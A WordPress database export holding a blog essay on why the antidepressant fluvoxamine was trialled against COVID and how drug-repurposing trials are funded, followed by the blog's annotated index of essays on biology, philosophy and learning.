(236,1,'2021-11-15 15:27:49','2021-11-15 15:27:49','<!-- wp:paragraph -->\n<p><em><a href=\"https://twitter.com/trevor_klee\">Follow me on Twitter</a> if you want to discuss this essay, my other essays, or anything else having to do with science and biotech. If you\'d like to get notified when I publish new essays, <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up for my mailing list</a>, which I literally only use to alert people when I publish new essays.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You may have seen a headline recently that says something like “<a href=\"https://www.cnn.com/2021/10/28/health/fluvoxamine-covid-risk-study/index.html\">Cheap, generic antidepressant may reduce severe Covid-19 disease, study finds</a>”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you click through to the news story, you’ll see a story about how doctors gave fluvoxamine, a somewhat uncommon SSRI, to COVID 19 patients in Brazil. 11% of the patients given fluvoxamine ended up in the ER, while 16% of the patients given placebo ended up in the ER. You’ll also see some handwaving about how maybe fluvoxamine works in COVID 19 because it reduces inflammation, or maybe because it reduces blood platelets, or maybe just because it’s an SSRI.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a neat story, and a great example of drug repurposing living up to its promise. But, the way it’s presented, you’ll also likely be left with a bunch of questions like:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Why were these scientists giving an uncommon SSRI to COVID 19 patients in Brazil?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Why are they so uncertain on how it works?<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Who paid for all this?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. If trying random drugs on random diseases works so well, why don’t we do it more?<br><br>These are all excellent questions that are thoroughly unanswered by the news article. Not coincidentally, the answers to these questions are both interesting and have a lot of relevance to how drugs are developed today, especially drug repurposing development efforts like this fluvoxamine one. I thought I’d take a stab at answering them in the essay below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alternatively, if you want the short answers of these questions, they are as follows:<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Mouse trial + case studies + no better ideas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Too many cooks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Billionaires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But these short answers aren’t nearly as fun or interesting as the long ones, and don’t give me the chance to talk about the clever way that my company is doing our own drug repurposing project. So, I recommend you read on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you look up fluvoxamine on Wikipedia, it’ll tell you that fluvoxamine is an SSRI and it works the same way all SSRIs do. Namely, when one nerve cell squirts out serotonin to a receiving nerve cell, fluvoxamine blocks the reuptake of serotonin. This leads to an increase of serotonin in the synaptic gap, <a href=\"https://slatestarcodex.com/2018/11/07/ssris-an-update/\">stuff happens</a>, and hopefully the patient’s anxiety or depression is cured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://i0.wp.com/medicoapps.org/wp-content/uploads/2019/02/SELECTIVE-SEROTONIN-REUPTAKE-INHIBITORS-SSRI.jpg?fit=600%2C315&amp;ssl=1\" alt=\"Selective Serotonin Reuptake Inhibitors (SSRI) - www.medicoapps.org\"/><figcaption>A misleadingly simplified version of how SSRIs work. This author comes from the classic \"gumdrop\" school of drawing SSRIs.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Wikipedia will also tell you that fluvoxamine, like some other SSRIs, has the “off-target” effect of activating, or agonizing, the sigma one receptors, mysterious receptors that modulate other receptors to, uh, act differently. The quotation marks and vagueness here is deliberate. Sigma one agonism may contribute to the antidepressant effects of fluvoxamine (like it does for <a href=\"https://en.wikipedia.org/wiki/Opipramol\">opipramol</a>, an old anxiety drug only used in Europe), and agonism of the sigma one receptors has a confusing grab bag of effects that don’t fit neatly into a single classification.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of these effects in the grab bag seems to be blocking a specific inflammation pathway that’s very important in COVID and other infectious diseases. If you’re interested in the science behind it, follow the footnote [1]. Otherwise, you should just know that this effect of sigma one agonism was theorized and tested in <a href=\"https://sci-hubtw.hkvisa.net/10.1126/scitranslmed.aau5266\">a mouse study of septic shock in 2019</a>. They found that mice who were given an injection of fecal matter (gross) and then given fluvoxamine did better than mice who were given the injection and not given fluvoxamine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This mouse study of septic shock was supposed to turn into a human trial of septic shock, which is a thing we were worried about in 2019. To be fair to yesteryear’s worries, <a href=\"https://en.wikipedia.org/wiki/Septic_shock#Epidemiology\">septic shock does kill an estimated 20 million people a year, and has a 25-50% mortality rate even in developed countries</a>. So, not a crazy thing to worry about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So far, this all is normal. Trials where drugs are repurposed to test on mice happen all the time. Every single drug you can think of and more has been tested on every single sick mouse in existence. Moreover, pretty much all those mouse studies end with a great result for the mice, the author saying “let’s test this on humans!”, and then nothing happening. This was a better run mouse study than most, but, still, this isn’t the interesting part of the story.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/6/6f/Scid_mouse.jpg/250px-Scid_mouse.jpg\" alt=\"\"/><figcaption>Have you ever wondered why, if scientists can cure cancer in mice, mice still get cancer?</figcaption></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The interesting part happened the next year after COVID hit, as most interesting things in 2020 did. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7308649/\">Early on</a> in COVID it was noticed that the “cytokine storm”, which is the body’s inflammatory response to COVID, was one of the major reasons for COVID’s relatively high fatality rate. Halting or inhibiting this cytokine storm was seen as one of the top priorities for COVID researchers, especially as the drugs that were usually used to tamp immune responses, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7472975/#:~:text=It%20has%20been%20demonstrated%20that,who%20develop%20pneumonia%20%5B6%5D.\">like the steroid dexamethasone</a>, only worked ok and had serious side effects.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The panic of COVID meant that science and medicine happened a lot more so than it did in the pre-pandemic days. One of those ways it happened more was in very aggressive collection, sharing, and analysis of patient data, including data on the cytokine storm. In this frenzy of analysis, one Parisian hospital soon noticed something peculiar: <a href=\"https://www.medrxiv.org/content/10.1101/2020.07.09.20143339v2.full.pdf#page=3\">COVID patients who coincidentally received antidepressants soon after admission to the hospital had diminished risk of intubation or death.</a> In other words, they seemed to have better outcomes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In normal times and for normal disease, I’m not sure if anything would have come of an analysis like this one. Even if this analysis had been run (a big if), it would have taken a while for any sort of resulting trial to be run. But, as the bank advertisements say, COVID is a new normal. So, before the Parisian’s hospital’s data was even formally published, an American doctor took their findings, connected them with the mouse septic shock study, then did a 128 person study where she explicitly examined whether fluvoxamine could prevent clinical deterioration in COVID. And, what do you know, <a href=\"https://jamanetwork.com/journals/jama/fullarticle/2773108\">it could</a>!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>128 people isn’t a lot of people, though, especially as only 6 people in the placebo group experienced clinical deterioration. So, a much larger study was organized in Brazil to get a better sense of whether this result was real or a fluke. That was the TOGETHER trial, mentioned at the beginning of the post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Whew! That’s question 1 in the bag: how we ended up giving fluvoxamine to COVID patients in Brazil.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the way, it’s worth noting that from the Parisian hospital analysis to the American study was only about 4 months, and the publication of the American study to the start of the Brazilian study was only like 2 months. By trial standards and scientific standards, that is crazy fast. I just want to emphasize one part on how exceptional these studies were before moving onto the next question. Don’t worry, the second part of how exceptional these studies were is coming soon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Question 2, on why the scientists were so unclear on how fluvoxamine works in COVID, is much quicker to answer and less interesting, in my opinion. This was a large, collaborative study that the scientists were trying to get out as quickly as possible. There was probably a diversity of opinions on why the drug worked, and it was easier just to skip over that and focus on the takeaway that the drug did work. Hammering out the argument was not worth the time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Question 3 (“who paid for all this?”), on the other hand, is a much more interesting question. The American study was paid for by the COVID 19 Early Treatment Fund (CETF). The Brazil study was paid for by Fast Grants and the Rainwater Charitable Foundation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s interesting because literally all of those foundations are funded by multimillionaires and billionaires. CETF received a lot of funding from the first president of Ebay, Jeffrey Skoll. Fast Grants received a lot of funding (and free publicity) by Patrick Collison, the cofounder of Stripe. The Rainwater Charitable Foundation is funded by the fortune of the late Richard Rainwater, a billionaire investor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Do you notice something about that list of funders? Well, who’s missing? You guessed it: any governmental or nongovernmental organization who had any prior major investments in public health. These COVID trials were not funded by the NIH, the FDA, the CDC, the Red Cross, or Mass General Hospital. Nope. Just random billionaires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://clinicalcenter.nih.gov/sites/nihinternet/files/internet-files/about/news/newsletter/2019/winter/images/story-winter-05.jpg\" alt=\"Staff honored for improving patient care and the workplace environment |  Clinical Center Home Page\"/><figcaption>Pictured: the NIH giving each other medals. Not pictured: the NIH funding COVID trials.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And now we have the second piece of why these trials were so exceptional: they didn’t just have capable, organized people pushing them to occur rapidly, they were also funded by generous donors who were willing to rapidly deploy capital. That is incredibly rare.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the rarity of easy funding of worthwhile drug trials seems weird and troubling to you, then I agree. Unfortunately, this is the way the nation’s funding infrastructure is set up. These large trials require a lot of funding and organization. Doctors and hospitals need to be recruited, instructed, and paid; materials need to be supplied; and data needs to be gathered and analyzed. The NIH (or NSF, or whoever) not only won’t provide all the money necessary to run the trial (or sometimes any money at all), they’ll also give any prospective investigator a ton of grief and paperwork, making it difficult to run the trial properly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This issue ties into the answer to the last question: why don’t we do this more often? Why aren’t we constantly trying random drugs on random diseases? After all, it’s not like there’s any lack of studies like that mouse septic shock study. Hell, there’s an idea right there: fluvoxamine in a trial for septic shock in humans. Done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The short answer is that we don’t do this more often because it’s really tough to fund these studies. The generosity of billionaires is always a tricky thing to rely on, and, as mentioned, public funds won’t do. Large non-profits can step in occasionally, but they’re usually disease specific (like the Michael J. Fox Foundation for Parkinson’s) and don’t love putting this much of their budget into one trial or study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The other other option for funding is, of course, through drug manufacturers. You might even expect these would be the most natural funder for these sorts of trials, given that they’ll make a lot of money off of the new indications for the drug. What’s to stop a drug manufacturer from funding a bunch of trials and then making money for whatever diseases the trial works for?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, it’s not so simple. If we look at fluvoxamine, for instance, it’s generic, or off-patent. So, while there used to be one manufacturer of fluvoxamine, now there are many.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This has been great for reducing the prices of fluvoxamine for its original indication, depression. However, this introduces a massive free-rider problem for any new indication that someone might try to come up with for fluvoxamine. No generic manufacturer is going to fund a trial of fluvoxamine for COVID on their own, because the other generic manufacturers would also benefit from the results of this trial and not be out millions of dollars.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t to say there’s no way to have a drug manufacturer fund a drug repurposing trial. If there were, my company, <a href=\"http://highwaypharm.com\">Highway Pharmaceuticals</a>, would be dead out of the starting gate, as that’s our modus operandi. It just means that drug repurposing trials by for-profit entities have to be more clever than those by non-profits in order to avoid free-rider problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, let’s talk about the clever ways that drug repurposing trials can be funded by for-profit entities. Not only will it be informative, but it’ll give me a chance to call myself clever, which I always enjoy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first and most obvious way is just to try to patent the drug that’s being repurposed, and then use the courts to fight any free riders. Contrary to popular belief, you can patent a novel use for a generic drug, as long it’s “novel and non-obvious”, <a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\">which I’ve discussed before</a>. If you get the patent, you can hopefully carry out the trial on the actual drug that’s already been successful in a mouse trial, without having to modify it or manufacture it yourself. Then you can simply sue anyone who threatens your patent, and laugh all the way to the bank. For a current example, this is what a startup called PharmaTher is doing with <a href=\"https://www.neurologylive.com/view/fda-approves-ind-ketamine-parkinson-disease-dyskinesia\">ketamine for Parkinson disease dyskinesia</a>, based on case reports of Parkinson’s patients who received ketamine for anesthesia and then found their dyskinesia alleviated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://media.springernature.com/full/springer-static/image/art%3A10.1038%2Fnature.2016.19862/MediaObjects/41586_2016_Article_BFnature201619862_Figa_HTML.jpg\" alt=\"How club drug ketamine fights depression | Nature\"/><figcaption>This is what I got when I Googled ketamine, so I have to assume these are Parkinson\'s patients celebrating the alleviation of their dyskinesia.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>However, while this is the most obvious way to fund and make money off of drug repurposing, it’s actually the hardest to carry out in practice. Patents, as my patent lawyer likes to remind me, are only worthwhile if you’re going to enforce them. And the problem is that you won’t just have to enforce your patents against other drug manufacturers. You’ll have to enforce your patent against any doctor who reads your trial and decides to try out the generic version of the drug on their own patients. So, PharmaTher is going to need to be willing to sue any doctor who uses generic ketamine on a Parkinson’s patient. If you imagine a newspaper headline like, “Pharmaceutical company sues local doctor for trying to help Parkinson’s patients”, you’ll understand why this is a tough path to follow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second possible way is to slightly modify the generic, get a patent on the slightly modified version, and then sell that. As the only manufacturer of the slightly modified version, you avoid the issue of off-label prescriptions. This is what Johnson and Johnson did with esketamine for depression, as <a href=\"https://slatestarcodex.com/2019/03/11/ketamine-now-by-prescription/\">Scott Alexander eloquently describes</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this case, you do reintroduce some of the risks of a new drug (e.g. difficulty in manufacturing, risk of the drug not working, risk of the drug causing toxicity), but hopefully it’ll be much less of a risk than a completely new drug. You also will likely have some medical professionals who realize they can just prescribe the generic instead of your slightly modified version, like Scott in the link, but there won’t be too many of those and they’ll be fighting uphill against your marketing and relationships with insurance companies. Overall, this is a reasonably safe way for a company with chemistry and manufacturing expertise to repurpose a drug, as long as they’re willing to get a little bit slimy with their marketing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The third way is for those of us, like myself, who have little manufacturing expertise and a dislike of slime. This way is to combine two generics for some sort of synergy in a new indication. Doctors aren’t likely to prescribe two drugs combined off label, especially if one or both of those drugs in the combination is in a non-standard dose (imagine a doctor telling you to take ⅓ of one pill and ½ of another). You also avoid almost all of the risks of a new drug, as manufacturing and toxicology are way easier, and it’s much easier to predict whether the drug will work in this new indication. Finally, you’re less likely to annoy people if you can argue that this is a genuinely surprising synergy in a new indication, like Amylyx has argued with <a href=\"https://www.nejm.org/doi/full/10.1056/NEJMoa1916945\">sodium phenylbutyrate/taurursodiol combination in ALS</a>, given that neither of those drugs could have been predicted to work well in ALS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The main danger in this approach is that people tend to attack the synergy part, and argue that these are just two drugs which both work separately, or even just one of the drugs work. Amylyx got that charge in a letter to the journal they published their trial in, arguing that taurursodiol works on its own. This can escalate to more serious consequences, too, as the FDA can and will reject drug combinations that they don’t see as synergistic. Overall, this is a slightly riskier but much cheaper way to repurpose a drug, perfect for startups with shallow pockets and a dislike of fake drug differentiation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, tying this back to fluvoxamine for COVID, a for-profit company could have conceivably funded this trial by either using a drug that’s still a sigma one agonist but not generically available (like <a href=\"https://en.wikipedia.org/wiki/Opipramol\">opipramol</a>), or by coming up with some clever, synergistic drug combination to combine with fluvoxamine, like something that suppresses cytokine production by another way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neither of these would have been as fast or as efficient as what actually happened with fluvoxamine, and I think it’s truly a great thing that this fluvoxamine trial was able to be carried out and funded the way it was. But, they are much faster and more efficient than the usual alternative path, in which the drugs remain in mouse trials for years until some magical combination of non-profit money comes together to fund a small human trial. You gotta take what you can get. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] One of the effects of sigma one agonism seems to be inhibition of cytokine production and the IRE 1 pathway, part of the unfolded protein response.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cytokines are small proteins that can serve as very localized alarms. The unfolded protein response is a cellular response to situations in which the cell notices that its protein factory, the endoplasmic reticulum, is consistently churning out misshapen proteins. When this occurs, the cell immediately stops making proteins and either fixes the factory or burns it down by killing the cell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cytokines and the unfolded protein response are very related to each other, as one can cause the other, or both can be caused by the same thing. Anytime that the UPR is activated is an emergency, and massive cytokine production is a very stressful event that can cause the cell to start misfolding proteins.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They are also, for the most part, good things. It’s good for the body to have localized alarms, and it’s good to shut down cells that are consistently malfunctioning.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The problem comes when this becomes a cascade. Imagine the body as a factory, and each cell as a person. If one person is consistently messing up production, it’s good for the foreman to try to fix the situation, or fire the person if it doesn’t work. It’s also good for the foreman to tell that person’s coworkers, so the coworkers know they’ll have to step up their own production for a bit and watch out for whatever element caused the first person to slack. If, however, the foreman fires 100 workers at once and tells all their coworkers at the same time, that can have unpredictable effects in that section of the factory, as it’s unclear who steps up to cover the load and there’s also going to be a lot of noise. This can lead to chaos and a total factory shutdown.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is where fluvoxamine comes in. Fluvoxamine, as a sigma one agonist, inhibits the foreman firing people. This can turn a cascade of 100 people being fired at once into only 10 at a time, which is easier for the factory to manage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluvoxamine’s ability to do this was theorized for a while, but the best confirmation came in a mouse study in 2019. In <a href=\"https://sci-hubtw.hkvisa.net/10.1126/scitranslmed.aau5266\">this study</a>, they injected mice with a slurry of fecal matter, which is both disgusting and a great way to induce septic shock.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Septic shock is a classic example of a cascade: a million cytokine alarms go off at once, all the cells start messing up because of the noise and stress, the foreman freaks out and fires a bunch of people/cells at random, and the organism often dies. However, this study found that mice who genetically lacked sigma one receptors died more often after injection, probably because nobody was there to inhibit the foreman. It also found that genetically normal mice who were given fluvoxamine after getting injected did better than normal mice who didn’t. Finally, they found hints for a similar role of fluvoxamine in human blood samples.</p>\n<!-- /wp:paragraph -->','Why did they give antidepressants to COVID patients?','','inherit','closed','closed','','234-revision-v1','','','2021-11-15 15:27:49','2021-11-15 15:27:49','',234,'https://trevorklee.com/?p=236',0,'revision','',0),
(239,1,'2021-11-16 16:26:09','2021-11-16 16:26:09','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- 